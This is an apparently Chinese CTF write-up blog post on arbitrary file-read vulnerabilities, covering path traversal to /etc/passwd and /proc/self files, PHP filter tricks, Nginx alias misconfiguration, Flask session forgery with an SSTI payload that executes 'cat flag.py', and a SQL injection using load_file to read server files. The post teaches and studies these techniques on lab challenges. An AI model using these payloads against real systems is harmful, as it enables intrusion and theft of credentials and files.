文件读取

文件读取漏洞常见读取路径

Linux

  • flag名称(相对路径)
  1. …/…/…/…/…/…/flag(.txt|.php|.pyc|.py)
  2. flag(.txt|.php|.pyc|.py)
    等等
  • 服务器信息(绝对路径)
  1. /etc:/etc目录下是各种应用或系统配置文件
  2. /etc/passwd:是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,可以认为是Linux系统下文件读取漏洞存在性判断的基准
  3. /etc/shadow:是Linux系统保存用户信息并且可能存在密码(hash)文件,权限是root用户可以读取、shadow组可读
  4. /etc/apache2/:是apache配置文件,可以获知web目录,服务端口等信息
    等等 具体自行查阅

windows

  • windos系统下的web应用任意文件读取在搭配PHP文件时候,可以使用"<"等符号作为通配符号,在不知道完整文件名称的情况下进行文件读取

例题

[第一章 web入门]afr_1

  • dirsearch扫描发现flag.php
    在这里插入图片描述
  • 访问后页面没有回显
  • php://filter/read=convert.base64-encode/resource=flag
  • 解码获取flag

[第一章 web入门]afr_2

  • 访问页面一开始没有思路
  • F12查看页面源代码
<html>
<head><title>Index of /img/</title></head>
<body bgcolor="white">
<h1>Index of /img/</h1><hr><pre><a href="../">../</a>
<a href="img.gif">img.gif</a>          
</pre><hr></body>
</html>
  • 发现img.gif相对路径
  • 访问:http://adf5da39-0843-47a6-8229-35fafd734d5c.node3.buuoj.cn/img/
    在这里插入图片描述
  • 进行目录穿越:http://adf5da39-0843-47a6-8229-35fafd734d5c.node3.buuoj.cn/img…/
    在这里插入图片描述
  • 发现flag文件 over!!

原理

  • Nginx错误配置

Nginx错误配置导致文件读取漏洞,Nginx一般被视为Python-Web反向代理的最佳实现.
配置文件错误容易导致严重的问题

  • 例如
location /static{
         alias /home/myapp/static/;
  • 此时如果用户请求的web路径是/static…/拼接后就变为/home/myapp/static/…/
  • 就会造成文件穿越漏洞
  • 漏洞成因是location最后没有加"/"限制,Nginx匹配到路基static后,将其后面的内容拼接到alias

[第一章 web入门]afr_3

  • 访问到Article Content页面,存在任意文件读取
  • /article?name=../../../../etc/passwd
    在这里插入图片描述
  • 尝试读取flag
  • /article?name=../../../../flag
  • 页面返回 no permission! flag文件被禁止访问了
  • 这里学习一个新的知识

Linux下的/proc目录

  • /proc 目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录
  • 如果要查看当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
  • /proc/[pid]/cmdline:cmdline可以读出比较敏感的信息 [pid]指向进程所对应的终端命令
  • /proc/[pid]/cwd/:无法获取当前应用所在目录,可以通过cwd命令直接跳转到当前目录 [pid]指向进程的运行目录
  • /proc/[pid]/environ:读取环境变量 [pid]指向经常运行时环境变量
  • 继续解题
  • /article?name=../../../../../proc/self/cmdline
    在这里插入图片描述
  • 发现pythonserver.py文件
  • /article?name=../../../../../proc/self/cwd/server.py
  • 通过cwd命令获取当前应用所在的目录 这样就读取
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')#execfile() 函数可以用来执行一个文件。
execfile('key.py')
FLAG = flag
app.secret_key = key 
@ app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index")) # redirect() url重定向
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": 
app.run(host='0.0.0.0', debug=False)
  • 发现key.py和flag.py文件
  • /article?name=../../../../../../../../proc/self/cwd/key.py
  • 成功读取key.py文件key = 'Drmhze6EPcv0fN_81Bj-nA'
  • flag文件 无法读取
  • 审计一下代码 发现了一个SSTI注入点
FLAG = flag
app.secret_key = key 
@ app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index")) # redirect ()url重定向
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
    if "n1code" not in session or session['n1code'] is None: 
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None: 
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %session['n1code']
        session['n1code'] = None
    return render_template_string(template)
  • flask从session中获取数据可以利用session伪造去获取Flag
  • 所以这里利用session伪造进行SSTI注入获取Flag
  • SSTI
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
  • 加上前面得到的密钥进行cookie伪造
  • 密钥: Drmhze6EPcv0fN_81Bj-nA
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
  • 利用flask_session_cookie_manager3加密
    在这里插入图片描述
  • 修改cookie获取flag

文章内容素材取自于《从0到1CTFer成长之路》

比赛实例

[网鼎杯 2018]Comment

  • 发帖之前需要登录账号
    在这里插入图片描述
  • 给了账号密码的前半部分 burpsuit爆破一下密码
  • 爆破出密码是zhangwei666 直接登录
  • 习惯性的dirsearch扫描一下网站
    在这里插入图片描述
  • 发现git泄露 GitHack下载源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
   header("Location: ./login.php");
   die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
   $category = addslashes($_POST['category']);
   $title = addslashes($_POST['title']);
   $content = addslashes($_POST['content']);
   $sql = "insert into board
           set category = '$category',
               title = '$title',
               content = '$content'";
   $result = mysql_query($sql);
   header("Location: ./index.php");
   break;
case 'comment':
   $bo_id = addslashes($_POST['bo_id']);
   $sql = "select category from board where id='$bo_id'";
   $result = mysql_query($sql);
   $num = mysql_num_rows($result);
   if($num>0){
   $category = mysql_fetch_array($result)['category'];
   $content = addslashes($_POST['content']);
   $sql = "insert into comment
           set category = '$category',
               content = '$content',
               bo_id = '$bo_id'";
   $result = mysql_query($sql);
   }
   header("Location: ./comment.php?id=$bo_id");
   break;
default:
   header("Location: ./index.php");
}
}
else{
   header("Location: ./index.php");
}
?>
  • 这个题目的关键点在于write中的category填写的注入语句和comment中填写的content内容
  • comment直接将category的数据取出,没有经过任何的过滤操作
  • 而我们在写入的时候经过了addslashes($_POST['category'])处理,所以我们可以在这里花点心思
  • 而这道题目的最坑点在于
$content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
  • 因为是分行插入,所以在注入后面添加#是没有用,要用到/**/
  • 举个例子:

我们在发帖的时候
TITLE:database
CATEGORY:123’,content=database(),/*
CONTENT:123
在提交留言处写入
*/#

  • 这个时候代码就变为
$content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '123',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
insert into comment
            set category = '123',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
  • 返回的页面就是
    在这里插入图片描述
  • 接着我又尝试了123',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*
  • 返回的是board,comment,user
  • 我把各个表查烂了 没有找到flag …
  • 于是又开始查看文件
  • 123',content=(select (load_file('/etc/passwd'))),/*
insert into comment
            set category = '123',content=(select (load_file('/etc/passwd'))),/*',
                content = '*/#',
                bo_id = '$bo_id'";
  • 返回的值在这里插入图片描述
  • 123',content=(select (load_file('/home/www/.bash_history'))),/*
  • 123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
  • 解码后flag_8946e1ff1ee3e40f.php在这里插入图片描述
  • 123',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
  • flag在F12里面!!!!
    在这里插入图片描述
  • 手动注入的一下午!!!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值